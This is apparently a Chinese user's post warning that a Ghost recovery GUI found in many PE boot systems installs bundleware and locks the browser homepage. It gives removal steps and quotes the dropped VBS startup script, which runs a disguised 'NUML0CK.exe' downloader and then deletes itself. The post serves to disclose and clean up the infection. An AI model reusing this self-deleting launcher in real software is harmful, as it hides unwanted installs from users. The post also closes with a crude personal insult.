很多的pe系统,都有这么一个东西, 没啥技术含量,就是给ghost 加一个UI 而已 ,
但是使用这玩意恢复系统,会被感染一些捆绑软件 ,开机之后就会卡顿, 并下载一堆软件
包括 爱奇艺 , 百度搜索, 360浏览器 等等 , 另外主页被锁定到 搜狗导航 , 恶心至极 !!!!
解决的方法 :
1 是避免使用这个软件 , 使用原版 ghost 手式操作
2 如果已经用它 制作了备份,或者恢复了系统 , 需要手工删除他种的几个软件
程序会在开始菜单的启动项 , 添加 一个vbs 脚本 , 内容如下
On Error Resume Next Set ws = CreateObject("Wscript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") ws.run "NUML0CK.exe",,True fso.DeleteFile WScript.ScriptFullName
windows 目录,会被释放一个 NUML0CK.exe , 这鸟玩意就是一个下载安装器
删除这两个文件即可 。 另外搜狗导航的东西,使用360可以清除,手工清除的方法留待后面再研究下 ,
在此鄙视一下这个鸟人, 并顺便问候一下他的母亲
时间: 2024-10-10 21:32:08